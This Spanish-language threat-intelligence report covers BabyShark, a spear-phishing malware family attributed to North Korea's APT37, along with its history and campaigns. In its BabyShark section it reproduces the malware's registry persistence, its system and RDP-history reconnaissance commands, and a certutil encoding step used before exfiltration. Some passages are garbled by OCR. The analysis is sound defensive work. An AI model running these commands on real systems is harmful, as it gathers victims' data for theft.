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B 1 RESUMEN EJECUTIVO

El servicio de Ciberinteligencia de Entelgy
Innotec Security ha realizado un analisis sobre una
nueva familia de malware denominada BabyShark ,
descubierta en febrero de 2019 por la division Unit42
de Palo Alto Networks, como consecuencia del envio
de correos fraudulentos datados en noviembre de
2018.

Dichos correos, en los que se suplantaba la
identidad de un experto en seguridad nuclear, fueron
dirigidos a institutos de opiniéon e investigacion
que examinaban asuntos relacionados con la
desnuclearizacion de Corea del Norte y distintos
aspectos de la energia nuclear. La técnica empleada
para efectuar esta campana se denomina Spear-
Phishing.

BabyShark se distribuye a través de
documentos  ofimaticos maliciosos adjuntos
a los correos fraudulentos de modo que, tras
comprometer el ordenador en una primera etapa,
envia informacién del sistema a los servidores de
mando y control esperando recibir instrucciones de
los atacantes.

En abril de 2019 la division de Unit42 de
Palo Alto Networks encontrd una nueva version de
esta familia. Esta mantiene muchas similitudes
con la anterior versidn, pero muestra una serie
de diferencias importantes entre las que cabe
destacar: la aparicion de un nuevo objetivo, las
criptomonedas; un mayor control de los accesos al
servidor de Comando y Control, y nuevas funciones
implementadas que permiten la ejecucion de
nuevos comandos y la ejecucidn de otras familias de
malware.

Este malware ha sido atribuido al grupo
APT37, también conocido como Reaper debido a la
similitud de elementos en el cédigo de Babyshark
con otras herramientas vinculadas a este grupo de
actores, asi como por la utilizacién de un certificado
robado a una empresa surcoreana.

APT37 es un grupo de ciberactores vinculado
al Gobierno de Corea del Norte especializado en la
realizacion de ataques dirigidos contra diferentes
organismos y sectores de Corea del Sur: Gobierno,
Ejército, industria de defensa y sector mediatico.
También son conocidos por bloquear los servicios
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de sitios web gubernamentales de paises enemigos
al régimen norcoreano, tales como Estados Unidos
o Japon, asi como de atacar la infraestructura
informatica de grupos disidentes politicos.

Cerca de ochenta anos de tensiones
geopoliticas entre los dos grandes bloques surgidos
tras la Il Guerra Mundial ha convulsionado al pais
coreano que, hasta 1948, era un Unico Estado. Desde
entonces se ha mantenido una relacion de guerra
y de constantes discusiones entre la Republica
de Corea (Corea del Sur] y la Republica Popular
Democratica de Corea (Corea del Norte), separadas
por su frontera en el Paralelo 38, asi como de sus
respectivos aliados. De hecho, desde que finalizara
la Guerra en 1953 con un armisticio, la tension en la
peninsula coreana no ha desaparecido. Movimientos
militares a ambos lados de la frontera, ensayos
de misiles balisticos y las pruebas nucleares
llevadas a cabo desde Corea del Norte, provocan
una continua desestabilizacion de la zona. En
este contexto historico, Corea del Norte, aislada
internacionalmente, ha demostrado un gran interés
por el desarrollo tecnoldgico y las capacidades
nucleares, convirtiéndose en uno de los principales
enemigos politicos tanto de Estados Unidos como de
Corea del Sur. Esta circunstancia, unida al desarrollo
que ha experimentado Internet en la Ultima década,
ha provocado que el conflicto bélico se traslade
también a un nuevo escenario: el ciberespacio.

Aunque también se han hallado conexiones
entre el Gobierno de Corea del Norte y otros grandes
grupos de ciberatacantes como Lazarus o Unit180,
esta investigacion se centra en el grupo APT37
debido a la deteccion de un aumento repentino
de su actividad durante los Ultimos meses. Este
grupo tiende a explotar las vulnerabilidades de los
sistemas objetivo, valiéndose de la realizaciéon de
reconocimientos y analisis exhaustivos previos de
los objetivos. En muchos de los casos duran largos
periodos de tiempo, prolongando cada campana
durante meses o incluso anos. En las campanas
iniciadas por este grupo también se han detectado
elementos que indican que otro de sus objetivos es
la consecucion de lucro econdmico mediante el robo
de criptomonedas.




B 2. ANTECEDENTES

2.1. Analisis geopolitico y geoestratégico

Gran parte de la hostilidad militar y diplomatica entre Estados
Unidos y Corea del Norte ha surgido como una herencia principalmente
de las politicas seguidas durante la Guerra Fria’ precedida por el conflicto
armado durante la Guerra de Corea.

Durante la Segunda Guerra Mundial Japén dominaba Corea como
consecuencia del logro de distintas victorias militares en el sur peninsular
debido a la situacion geoestratégica de la peninsula coreana respecto a
Japon. Dicha situacion, que el pais nipon llevaba aprovechando durante
treinta y cinco anos debido a su politica imperialista, propicid que en 1943
se reunieran en Moscu los jefes de Estado de la Unidn Soviética y Estados
Unidos como aliados puntuales para acordar que las fuerzas soviéticas
invadieran el norte de Corea con la finalidad de reducir el expansionismo
militar japonés en la peninsula tras derrotar a Alemania como su principal
enemigo de las llamadas Potencias del Eje, también formadas por el
Imperio de Japdn e ltalia.

Enelano 1945 Estados Unidos ejecutd el lanzamiento de dos bombas
atédmicas contra las ciudades de Hiroshima y Nagasaki, acontecimiento
que derivd en la pronta rendicion de la nacidn japonesay sus tropas.

Dos dias después, tal y como se acordo en el ano 1943, la Unidn
Soviética desplegd sus tropas en el norte peninsular coreano, decision que
alarmé a Estados Unidos ya que estaba en contra de sus intereses que
otra potencia extranjera tuviera dominio en la zona. Debido a la presencia soviética en el norte peninsular
coreano Estados Unidos envi6 tropas al sur de la peninsula Coreana delimitando la defensa de la region en
el paralelo 38° con la promesa de la reunificacion de Corea.

Como consecuencia de la creciente tension que se estaba fraguando entre el bloque occidental-
capitalista y el bloque del oriental-comunista que desembocaria en la Guerra Fria, se frena la reunificacion
de Corea polarizando la peninsula hacia un area del norte comunista con un desarrollo econdmico basado en
una intensa industrializacion y un area del sur simpatizante del ideario capitalista siendo mas empobrecido
en un principio que su contraparte nortena.

Al mismo tiempo que crecia la tension entre los dos bloques, entre el ano 1950 y 1953, tiene lugar
Guerra de Corea?, uno de los primeros episodios de la Guerra Fria iniciada por la invasion hacia el sur por
parte de Corea del Norte apoyada por la Unién Soviética y China debido a su afiliacion comunista. A esta
incursion hacia el sur peninsular respondi¢ Estados Unidos apoyando a Corea del Sury la ONU.

Esta tensidn sigue teniendo importantes repercusiones a dia de hoy aln a pesar de la creacién del
Acuerdo de Armisticio de Corea, un tratado de no agresidn que sigue actualmente vigente creado para el
cese total de las hostilidades en la peninsula de Corea hasta el alcance de un acuerdo de paz definitivo,
el cual acabaria siendo firmado por Corea del Norte y Estados Unidos el 27 de julio de 1953. Este acuerdo
se aplicaria a las naciones firmantes y sus aliados aunque todavia esté lejos de concretarse y eso deja
técnicamente a los paises firmantes en guerra.

Alfinalizar la Guerra de Corea el gobernante norcoreano Kim Il-Sung, fundador de la Republica Popular

1 Gomez, E. (2014) La Guerra Fria. Blog Edugoro.

Disponible en: http://www.edugoro.org/historia/wp-content/uploads/2013/08/11.-La-guerra-fr%C3%ADa...pdf
2 Fernandez Liesa, C. R.; Borque Laguente, E.[2014) El conflicto de Corea. Ministerio de Defensa.

Disponible en: https://publicaciones.defensa.gob.es/media/downloadable/files/links/c/o/conflicto_corea.pdf
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Democratica de Corea (Corea del Norte), inicié una serie de medidas
autoritarias y restrictivas entre las que se encontraban la persecucion de
sus enemigos politicos, la clasificacion de los ciudadanos de la region a
partir de su fiabilidad politica y la promocidn de un sistema feudal basado
en las castas.

A su vez, dentro de Corea del Sur se vivieron distintas revueltas
popularesy golpes de Estado entre 1950y 1961, siendo resenable el golpe
de Estado llevado a cabo por el general Park Chung Hee de caracter
conservador, que estuvo 18 anos en el poder hasta que fue asesinado. La
situacion de Corea del Sur se agravo durante los ultimos meses de 1979
como consecuencia de la crisis internacional del petréleo propiciada por
la revolucion en Irén® lo que derivd en el aumento de la inflacion y varios
periodos de recesion econdmica.

Durante los afhos siguientes Corea del Sur inicié un lento proceso
de recuperacion economica que se trasladaria a una mejora social y un
consiguiente cambio politico con la llegada de la democracia surcoreana
en el ano 1987. A partir de entonces comenzaria a trabajar en mejorar su
indice de crecimiento econdmico, enfocdndose sus exportaciones hacia
los paises del Este que le reconocieron como un Gobierno legitimo.

Por su parte, tras la caida del muro de Berlin en 1989y la disolucidon
de la Union Soviética, Corea del Norte perderia su principal apoyo
internacional. Dos anos mas tarde padeci6 una grave crisis econdémica
iniciada por unas malas cosechas y acrecentada por la reduccion de

intercambios comerciales con los paises socialistas, que estaban en proceso de democratizacion, lo que
acabaria estancando su economia.

Por otro lado, durante los primeros meses del afo 1994 Corea del Norte decidid abandonar la Agencia
Internacional de la Energia Atémica al no aceptarse su propuesta sobre la supresion de los ejercicios
militares entre Estados Unidos y Corea del Sur, lo que propicié un aumento de la tensidn entre los dos
estados coreanos.

EL 8 de julio del ano 2000 se produjo el fallecimiento de Kim Il-sung, que cedio el poder a su hijo Kim
Jong-il. Entonces, y como medida de distension, el presidente Bill Clinton llegé a denominarle como lider
supremo en una carta personal que buscaba el acercamiento entre paises.

Con el ascenso a la presidencia estadounidense de George W. Bush, en el ano 2001, se reorienta la
politica exterior de Estados Unidos incluyendo a Corea del Norte en su discurso sobre el eje del mal, es
decir, los paises que apoyaban el terrorismo. Esta circunstancia provocé la reaccion del pais norcoreano con
el desarrollo de su programa nuclear, lo que agravé la situacidn.

® Simonoff, A. (2004). La revolucién irani en perspectiva foucaultiana. Cuestiones de Sociologia (2], 281-288. En Memoria Académica.
Disponible en: http://www.memoria.fahce.unlp.edu.ar/art_revistas/pr.3418/pr.3418.pdf
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2.2. Incidentes en el ciberespacio

Es a principios de este milenio, dentro de este contexto de tension, cuando se inician los primeros
ciberataques perpetrados por parte de Corea del Norte. Uno de ellos es el conocido como el “Incidente de
julio” (2009) que consistié en distintos ataques de Denegacidn de Servicio Distribuido (DDoS) que apuntaban
a organizaciones gubernamentales y financieras de Corea del Sur y Estados Unidos, sin atribucion clara a
un grupo de ciberactores pero vinculada al Gobierno de Corea del Norte.

Dentro del escenario internacional de ciberactores norcoreanos se debe mencionar a Lazarus, uno
de los grupos mas conocido y activo. Este inici¢ distintas campanas entre las que destaca la "Operacidn
Troya” (2009-2012), que consistié en ataques basicos del tipo DDoS mediante la utilizacion de dos de sus
herramientas de malware mas caracteristicas: Mydoom y Dozer. También suya fue la famosa y mediatica
campana de WannaCry de 2017, que alcanzé dimensiones mundiales y en la que se cifraron millones de
dispositivos cuya condicion indispensable para acceder a los datos almacenados en ellos era el pago de un
rescate en criptomonedas.

En el caso del grupo de actores APT37, objeto del presente informe, cabe destacar su vinculacion a
las siguientes campanas durante los anos 2014 a 2019:

Ataque contra disidentes politicos*

Se atribuye a este grupo una campana contra organizaciones de refugiados norcoreanos
y disidentes politicos. Se usaron sitios web legitimos, previamente comprometidos con
herramientas de intrusion de sistemas, cuya finalidad era controlar la informacion
facilitada por la disidencia politica.

Operation Daybreak (Operacion Amanecer)®

Se trata de una campana de Spear-Phishing en la que las victimas recibian un enlace
malicioso que apuntaba a un sitio web de confianza para la victima y que previamente
habia sido comprometido con un kit de explotacién (watering hole attack]. Se enfocaron
en la recoleccion de informacion de los paises afines a Estados Unidos, como México,
Canada, Espana y otros.

Operation Erebus (Operacién Erebus)¢

En el mismo afio también se inicid una campana en la que se explotaba la vulnerabilidad
CVE-2016-4117, un fallo en Adobe Flash Player que permitia la ejecucion de cddigo
remoto, para comprometer sitios web legitimos. Usando la misma técnica de watering

hole attack usada en otras campanas, comprometieron sitios web de confianza para
distribuir sus kits de explotacion. En esta operacion se enfocan a la recoleccion de
informacion de paises como Corea del Sur, Rusia o Nepal entre otros.
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Operation Evil New Year (Operacion Ao Nuevo Maligno)’

El vector de infeccion en esta campana fue una alternativa muy popular para Microsoft
Office en Corea del Sur en materia de documentos ofimaticos denominada Hangul Word
Processor.

El documento malicioso contenia un supuesto analisis del Ao Nuevo en Corea del Norte,
supuestamente enviado por el Ministerio de Unificacion de Corea del Sur a entidades del
sector publico surcoreano.

Operation Are you Happy? (Operacion ¢Eres feliz?)®

En esta campana se eligio como objetivo el ejército surcoreano utilizando un tipo de
herramienta de malware destructiva que se utiliza para sobrescribir el disco duro del
ordenador provocando que no arrancase. Tras realizar el compromiso del sistema de la
victima y reiniciar el equipo se mostraba el siguiente mensaje: Are you happy?

Operation Freemilk (Operacion Leche Gratis)®

Se cree que los atacantes aprovecharon la vulnerabilidad de ejecucion remota de cédigo
CVE-2017-0199 con un contenido a modo de senuelo disenado y personalizado para cada
destinatario. Los atacantes estudiaban las conversaciones y enviaban mensajes nuevos
en hilos existentes adjuntando documentos maliciosos, usando sus herramientas de
malware Poohmilk y Freenki . En esta operacion atacé al sector bancario de Oriente
Medio.

Operation NOKKI Campaign (Operacion-Campaia NOKKI)'

Se enviaron correos de Spear-Phishing contra objetivos diplomaticos europeos localizados
en la peninsula coreana. Uno de ellos, incluso, geolocalizado en Pyongyang. Se utilizé
documentacion sefnuelo en el que las victimas accedieron a unos enlaces con contenido
malicioso.

Mientras Corea del Norte realizaba pruebas nucleares entre los anos 2006 y 2009, Kim Jong-Il se
autodenominaria en 2007 como un “experto en Internet”. Todo, pese a que en su pais apenas disponia de
conexiones a la Red. Este interés en el ciberespacio se confirmaria con su afirmacion, unos afos antes de
su muerte, sobre el hecho de que “Todas las guerras en el futuro seran guerras de ordenadores”.

7 Osborne, C. (2018). North Korean Reaper APT uses zero-day vulnerabilities to spy on governments. ZDNet.

Disponible en: https://www.zdnet.com/article/north-korean-reaper-apt-uses-zero-day-vulnerabilities-to-spy-on-governments/

¢ Mercer, Wy Rascagneres, P (2018). Korea In The Crosshairs. Talos Intelligence.

Disponible en: https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

7 Cimpanu, C. (2017). Hackers Hijack Ongoing Email Conversations to Insert Malicious Documents. Bleeping Computer.

DIsponible en: https://www.bleepingcomputer.com/news/security/hackers-hijack-ongoing-email-conversations-to-insert-malicious-
documents/

19 Grunzweig, J. (2018). New KONNI Malware attacking Eurasia and Southeast Asia. Palo Alto Networks.

Disponible en: https://unit42.paloaltonetworks.com/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
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Cuando murié Kim Jong-Il en el afo 2011, Corea del Norte apenas disponia de mas de 1.000
direcciones IP publicas, lo que evidenciaba que el pais apenas disponia de conectividad a gran escala. En su
lugar ocup6 el poder su hijo Kim Jong-Un, con amplios conocimientos en ciencias de la informatica, lo que
parece haber incidido significamente en las capacidades cibernéticas de Corea del Norte y en la inversidn
en el desarrollo de este tipo de operaciones.

Desde entonces se observa una combinacion del uso estratégico de las capacidades cibernéticas con
las demostraciones esporadicas de poderio militar bajo amenazas nucleares o lanzamiento de satélites de
observacion.

Todo ello, aprovechandose del restringido acceso a Internet del pais, al que solo pueden acceder las
entidades gubernamentales. Esta limitacion representa una fortaleza para Corea del Norte, frente a otros
paises con millones de usuarios con acceso a Internet y, por lo tanto, altamente dependientes de dicho
recurso. En este sentido, se puede observar un profundo y amplio uso por parte del Gobierno norcoreano de
Internet, en numerosas ocasiones ligado a provocaciones militares o politicas.

En las ultimas operaciones cibernéticas norcoreanas se ha podido comprobar que funcionan como
herramientas efectivas de espionaje, proyeccidon de su poder y como fuente de ingresos.

La recaudacién de fondos por parte de Corea del Norte a través del robo de criptomonedas o
incidentes famosos, como la intrusion en la Reserva Federal de Nueva York en el ano 2016 en la que robaron
81 millones de ddlares, deben considerarse como posibles disefios de operaciones futuras.

Debido a la ausencia de legislacion y consenso en la materia, y a diferencia de los ensayos nucleares,
este tipo de ataques no acarrean sanciones internacionales. Por ello, seria recomendable poner mas énfasis
en abordar la vulnerabilidad de las redes y sistemas para prevenir su explotacion por parte de actores como
APT37.

""Sanger, David E. (2017). EL mundo ya no se burla del poderio cibernético de Corea del Norte. New York Times.
Disponible en: https://www.nytimes.com/es/2017/10/18/el-mundo-ya-no-se-burla-del-poderio-cibernetico-de-corea-del-norte/




El grupo APT37, conocido también como Reaper,
Group123, ScarCruft o Venus 121, tiene como mision
principal la recoleccion de inteligencia en apoyo a los
intereses econdmicos, politicos y militares de Corea del
Norte.

Ademas de las tacticas de ataque dirigido, usando
la ingenieria social mediante correos electrénicos que
suplantan a remitentes legitimos utilizadas por APT37,
también utilizan otros métodos para distribuir malware
como el compromiso de paginas web de interés
estratégico. Parte de las capacidades observadas en
APT37son productodealtotiempooperacionalyunagran
especializacion en la explotacion de vulnerabilidades
tipo zero-day'.

Durante la campana BabyShark han sido
comprometidos servidores legitimos para el alojamiento
de los nodos de Comando y Control, C&C", del malware, apoyandose también en plataformas de mensajeria
o servicios de cloud desprotegidos para evitar la deteccion de sus actividades de distribucion de malware y
recopilacion de informacion.

Gracias alanalisis del tipo de servidores, padginas weby servicios comprometidos se ha podido conocer
que se encuentran localizados geograficamente en Corea del Sur o sus paises aledafos. Esto también se
evidencia en el certificado robado para la realizacidn de esta campana, propiedad de la empresa surcoreana
Egis Co. TLD.

Teniendo en cuenta el tipo de herramientas de malware que emplea este grupo se puede afirmar
que centran sus esfuerzos principalmente en actividades relacionadas con el ciberespionaje y el robo de
informacion.

12 Fallos de software o hardware desconocidos por los fabricantes, cuya explotacion permite la exposicion de los sistemas
vulnerables a un determinado tipo de ataque o error, lo que sugiere un alto grado de sofisticacion y recursos de calidad.
13 https://es.wikipedia.org/wiki/Mando y control (malware)




Por ende, los investigadores de seguridad de FireEye™
atribuyen con alta probabilidad que APT37 actla en apoyo al
Gobierno de Corea del Norte y esta principalmente geolocalizado
en el pais norcoreano. Esta atribucion estd basada en multiples
APT37 (REAPER) factores, incluyendo el perfil de los objetivos de APT37, asi
como los individuos que se encargan del desarrollo del malware
utilizado por este actor. Esta informacion se ha podido obtener
de datos distribuidos dentro del cddigo, como una direccion IP
y un vector de ataque asociados geograficamente a Corea del
Norte. Como evidencia adicional a la hipotesis anterior, se ha
considerado que los tiempos en los que se compila el codigo
malicioso estan relacionados con lo que corresponde a la jornada
laboral en Corea del Norte.

© FireEye

Observando la conexion entre demostraciones de poder
military actividades cibernéticas norcoreanas, el 12 de diciembre
del 2012, para conmemorar los 100 anos del nacimiento del
fundador de la Republica Popular Democratica de Corea, el pais
norcoreano lanzo al espacio el satélite de observacion terrestre
denominado KwangmydngsOng-3 (traducido del coreano como
“Estrella Brillante-3") con fines meteoroldgicos, segun la propia
Corea del Norte.

Imégen obtenida de Sky Rocket del satélite Kwangmydngsdng-3

1“Sin autor (2018). APT37 (Reaper) The Overlooked North Korean Actor. FireEye.
Disponible en: https://www?2.fireeye.com/rs/848-DID-242/images/rpt APT37.pdf




Estados Unidos, junto al resto de paises miembros del Consejo de Seguridad de la ONU, lo entendieron
como un ‘acto altamente provocativo que amenaza la sequridad regional”, lo que desembocoé en la Resolucion 2087
del 6rgano de las Naciones Unidas por la que se sancionaba a Corea del Norte con la prohibicién de exportar
e importar determinados productos. La prohibiciéon se centraba, especialmente, en carbdn, hierro y mineral
de hierro, oro, titanio, vanadio y minerales de tierras raras, asi como “la venta de combustibles de aviacion”,
todos ellos importantes para los programas relacionados con armas de destruccién masiva. Paulatinamente, a
lo largo de los siguientes anos, se han ido incrementando las sanciones sobre los medios de transporte, armas'y
cooperaciones militares o congelacidn de activos.

Un gran nimero de investigadores han consensuado que los primeros avistamientos de actividad por parte
de APT37 comienzan en el ano 2012, pero esta afirmacion no estd sostenida por campanas o evidencias. Sin
embargo, cabe destacar que coincide con el lanzamiento del satélite KwangmyOngsdng-3 lo que hace sospechar
de la verdadera naturaleza de este satélite de observacion terrestre y fundamenta la alarma de Estados Unidos
respecto al mismo.

Por ultimo, se debe mencionar que, en la actualidad, la mayoria de actividades iniciadas por el grupo
APT37 contintan teniendo como objetivos a Corea del Sur, desertores norcoreanos y organizaciones e individuos
involucrados en los esfuerzos de la reunificacion de Corea o la desnuclearizacion de Corea del Norte. Posiblemente
relacionado, se ha observado una campana reciente contra entidades diplomaticas a lo largo del mundo en la que
se ha utilizado otra herramienta conocida de este ciberactor denominada NavRAT™. Todo esto sugiere que el
grupo APT37 esta recopilando informacidn acerca de distintas organizaciones internacionales con la finalidad de
aumentar la efectividad de futuras campanas.

5 Mercer, Wy Rascagneres, P. (2018).NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Talos Intelligence.
Disponible en: https://blog.talosintelligence.com/2018/05/navrat.html




B 4. BABYSHARK

Al examinar determinados detalles del
malware Babyshark, como las formas de cifrado, el
envio de informacion, o los directorios o certificados
robados, se ha comprobado que se interrelaciona
con campanas anteriores en las que se usaban
otras herramientas de malware vinculadas al grupo
APT37 denominadas Kim Jong RAT y Stolen Pencil.

La campana de distribucion de BabyShark
comienza con correos electronicos de Spear-
Phishing, unatécnica de fraude de correo electrénico
dirigida a personas u organizaciones en la que
los mensajes simulan proceder de una entidad de
confianza mediante la que se pretende enganar al
usuario para que realice una determinada accion.
En esta campana la finalidad del Spear-Phishing es
que el usuario descargue un documento adjunto al
correo que contiene el malware, pudiendo consistir
en un fichero ofimatico malicioso o en un fichero
ejecutable. Por tanto, en el momento en el que el
usuario abre o ejecuta el fichero adjunto BabyShark
toma el control del dispositivo y se comunica con
un servidor de Comando y Control, C&C, al que
envia informacion preliminar del sistema afectado
y del que recibe instrucciones, pudiendo ejecutar
distintos tipos de comandos en funcion de las
necesidades que manifiestan los atacantes a través
del servidor. Por lo tanto, se podria categorizar
como herramienta de acceso remoto, debido a que
permite la ejecucion de comandos en el sistema
comprometido de manera remota.

Para asegurar la persistencia dentro de
los sistemas Babyshark incluye dos funciones
interdependientes que permiten que este malware
se ejecute a cada reinicio de los dispositivos a los
que se haya conseguido distribuir. La primera
fase consiste en obligar al dispositivo a iniciar un
proceso de terminal de sistema, mientras que la
segunda obliga al dispositivo a ejecutar un comando
determinado en funcién de las instrucciones
recibidas por medio del servidor de Comando y
Control. Cada vez que se ejecuta el malware, éste
contacta con el servidor mencionado para que le
proporcione nuevas instrucciones que se deban
ejecutar dentro del sistema afectado.

A continuacién, se ha incluido un diagrama
que ilustra las fases de infeccion de Babyshark.

BabyShark cargador

El fichero que inicia la infeccién
puede ser de diferentes tipos:

- Documentos Office Ejecucion

- Ejecutables | > w »
— N

Método de persistencia
en el sistema
. © .

w Peticion de w

(Fichero HTA)

@ A Comandos descifrados
w y que se ejecutaran
v en el equipo:

- Obtencién de Persistencia
- Extraccion de informacion

Descifrado

- Envio de informacion
al servidor de C&C

Peticion de
comandos

BabyShark
|-

P
«

Servidor de C&C
(HTTPS)
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La primera fase consiste en la La segunda obliga al dispositivo a Unavezhaobtenido la persistencia
infeccion a través del envio de un  ejecutar un comando determinado dentro del equipo se ejecutan
documento ofimatico en funcion de las instrucciones diversos comandos dentro del
recibidas por medio del servidor equipo para generar un triaje.
de Comando y Control

4.1. Primera etapa: infeccidn a través del envio de un documento ofimatico

Entre las versiones obtenidas, se ha observado un tipo de archivos ofimaticos para la automatizacion
de tareas conocidos como macros que permiten a los atacantes ejecutar cddigo. En este caso se trata de
macros maliciosas de Word protegidas con una contrasena.

Una vez se ha conseguido desproteger y visualizar las macros, se ha observado que, para mejorar el
engano de este ataque, cuando se habilita una de ellas, ésta realiza modificaciones en el texto del fichero
con la finalidad de que transforme un texto ofuscado, incomprensible a la lectura, a un texto legible cuyo
contenido actia como senuelo ante el usuario. A continuacidn se muestra una imagen en la que se muestra
el contenido del fichero cuando las macros se encuentran deshabilitadas.

Las macros 5= han deshabiltado. Hakilitar contenide
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En la siguiente imagen se puede observar el contenido del fichero cuando las macros se encuentran
habilitadas.

i Tuesday, 21 June

1800 [ Welcome Dimmer | Swan Lakeview Hotel
Wednesday, 22 June
0730 | Breakfast Swan Lakeview Hotel
DE30
0830 | Welcoming Remarks Beyjing Yanqi Laks
Dr. Susan SHIRK_ [GCC Internatonal Convention &
Amb Gu Se CIIS Exhibation Center
0845 | Overcoming Obstacles to Development and Peace on | Beying Yang Lake
the Korean Peninsula: Security and Internanonal Convention &
Denuclearization Exhibition Center
Moderator: TBD
Panelisrs: TR

También se han detectado distintos ficheros tipo Office que no se encuentran protegidos mediante
una contrasena, motivo por el cual el acceso a las macros maliciosas del fichero resulta mas sencillo. La
version sin contrasena del fichero se ha constituido como una de las muestras analizadas mas comunes que
realiza una peticidn a un supuesto recurso de tipo gif al servidor de Comando y Control. Una vez se finaliza
la descarga, descifra el contenido y lo almacena para ejecutarlo posteriormente.

Como ya se ha comentado con anterioridad, existe la posibilidad de que el correo de Spear-Phishing
incluya como fichero adjunto un ejecutable en lugar de un documento ofimatico. En este caso, para asegurar
que el usuario ejecuta el fichero, éste se encuentra firmado por una entidad de confianza, la cual se ha
obtenido mediante el robo de un certificado de la empresa surcoreana Egis Co. LTD. La ejecucion de este
archivo genera un nuevo proceso de terminal de sistema que a su vez deriva en la persistencia de Babyshark,
tal y como se expuso en los apartados anteriores, de forma que concluye con la descarga y ejecucion de un
fichero HTA.

Dentrodel cddigo se encuentra unadirecciona un nuevo recurso en lared, en este caso un archivo HTA,
que es un tipo de archivo ejecutable de hipertexto. Desde ese nuevo recurso se obtienen las instrucciones
que el malware va a ejecutar en el sistema comprometido. Los comandos se obtienen a partir de una
peticion HTTPS que aparece cifrada por defecto y que, ademas, contiene una capa adicional de proteccidn.
Todas estas técnicas se utilizan para evitar que sean visibles los comandos enviados desde el servidor de
Comando y Control al equipo infectado a través de la red.

La informacion que proviene del servidor de Comando y Control se almacena en la memoria RAM del
dispositivo, motivo por el cual no deja rastros dentro del dispositivo que permitan la deteccion del malware.
Esto complica el analisis, evitando que se pueda conocer con exactitud el contenido antes o después del
descifrado, obteniendo sélo su comportamiento.

Se han obtenido trazas de otras dos operaciones que se ejecutan en el sistema durante la segunda
etapa relativas a su persistencia en el equipo:



La primera operacidon se encarga de garantizar la persistencia en el sistema generando una
nueva clave llamada AutoRun dentro de la clave de registro "HKEY_CURRENT_USER\Software\
Microsoft\Command Processor”, que almacena configuraciones especificas al usuario que, en
este caso, permite el inicio de una terminal de sistema en la que se ejecuta el comando que se
encuentra dentro de la clave de registro.

La segunda operacidn se encarga de que todas las tareas que coinciden con el proceso de sistema
CMD.exe, aqui referenciado como el terminal de sistema, finalicen su ejecucion.

En esta segunda etapa de infecciéon el malware obtiene la informacion que precisa del dispositivo al
que se ha distribuido mediante la realizacion de un triaje, con el que selecciona y clasifica por prioridades
la informacion preliminar que va a transmitir al servidor de Comando y Control a la vez que pondera las
caracteristicas del sistema infectado.

Una vez ha obtenido la persistencia dentro del equipo ejecuta los siguientes comandos dentro del
equipo para generar un triaje:

cmd.exe /c whoami -> Usuario actual

cmd.exe /c hostname -> Nombre del equipo

cmd.exe /c ipconfig /all -> Configuracion de la red

cmd.exe /c net user -> Cuentas del sistema

cmd.exe /c dir "C:\Program Files (x86]" -> Aplicaciones instaladas

cmd.exe /c dir "C:\Program Files" -> Aplicaciones instaladas

cmd.exe /c dir "C:\ProgramData\Microsoft\Windows\Start Menu\" -> Aplicaciones instaladas

cmd.exe /c dir “C:\ProgramData\Microsoft\Windows\Start Menu\Programs" -> Aplicaciones
instaladas

cmd.exe /c tasklist -> Procesos y servicios en ejecucion

cmd.exe /c dir "%APPDATA%\Microsoft\Windows\Recent" -> Ficheros recientes
cmd.exe /c ver -> Sistema operativo y version

cmd.exe /c set -> Variables del entorno

cmd.exe /c reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\
Default” -> Los 10 ultimos accesos por RDP

Toda la informacion que se ha obtenido de los comandos de triaje se almacena dentro del fichero
temporal (%APPDATA%\Microsoft\ttmp.log), el cual se transforma a Baseb4 y se fuerza su sobreescritura
con el siguiente comando:

certutil -f -encode “%APPDATA%\Microsoft\ttmp.log” “%APPDATA%\Microsoft\ttmp1.log”



Una vez terminado el proceso anterior, el fichero resultante es el que se manda al servidor de
Comando y Control.

Comrmand Lina

4.4. Ejecucion desde la persistencia

Observando lo mencionado, se puede visualizar la ejecucién de BabyShark desde su método de
persistencia, el cual esta dividido en dos partes.

1. La ejecucion de la terminal CMD gracias a la clave de registro dentro de la clave AutoRun.

2. La ejecucion de una tarea dentro del sistema que permite la ejecucion de un terminal CMD con el
comando “taskkill /im cmd.exe”, cuyo objetivo es cerrar el terminal una vez haya finalizado la ejecucion del
comando.
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Se muestran a continuacion las relaciones entre las diferentes familias asociadas a APT37:

1. Laprimera relacion es entre las versiones de BabyShark: en ambas versiones la persistencia, la
obtencion y la ejecucion de los comandos se consiguen de la misma forma.

2. La segunda relacion es entre el BabyShark y el KimJongRAT: en esta ocasion la relacidn tiene
que ver con la ruta donde se almacena la informacion que se ha extraido del equipo infectado.
También cabe destacar que las dos familias tienen propoésitos similares, puesto que tanto
BabyShark como KimJongRAT se encargan de obtener toda la informacién posible del equipo, la
almacenan en un fichero y por ultimo la convierten en baseéé.

3. La tercera relacion es entre BabyShark y Stolen Pencil: esta relacion se debe a que ambos
ficheros ejecutables se encuentran firmados con el mismo certificado robado a Egis Co. LTD.

4. La cuarta relacion es entre KimJongRAT y Stolen Pencil: en este caso la relacion reside en la
forma de cifrar las cadenas de texto y en como se estructura el codigo. Estas dos familias hacen
uso de un cifrado por sustitucidn, que consiste en generar una equivalencia entre caracteres,
de forma que se genera un segundo diccionario con los caracteres que se desean sustituir. En
ambas muestras se ha utilizado el mismo método y clave de cifrado.

Dentro de esta funcion de descifrado se encuentra la mayoria del comportamiento de la muestra.
El codigo siempre comienza con el descifrado de las cadenas de texto, las cuales contienen el
nombre de las librerias y funciones que necesita ejecutar. Para obtener la direccion de memoria
donde se encuentran, hace uso de las funciones GetProcAddress y LoadLibraryW, las cuales se
encuentran entre las cadenas de texto:

dword_429188 dd "hmri
dword_429184 dd pE
dword_429188 dd "WVuom
byte_ 42918C d

dword_429198 dd "Tkx

dword 429194 dd "Mfro
dword_429198 dd "xohh

rdota:BE42919C word_42919C dw "7

La direccion se almacena en una variable que se utilizara para complicar un poco mas el analisis
del cddigo en estatico, pues no aparece cuando se utiliza la herramienta Strings. Por lo tanto,
se puede observar que tanto Stolen Pencil como KimJongRAT tienen un cddigo fuente bastante
similary que utilizan la misma técnica para ofuscar su cédigo.



A raiz de una entrada publicada por Unit 42", se ha
encontrado una nueva version de BabyShark. Dentro de dicha
publicacién comparten una muestra de un documento ofimatico
que ha sido identificado como BabyShark 2. Analizandolo
se ha encontrado la URL donde comienza la primera etapa.
Realizando una blsqueda de dicha URL en Internet, se puede
encontrar en una nueva muestra ejecutada en la plataforma de
Hibryd Analysis".

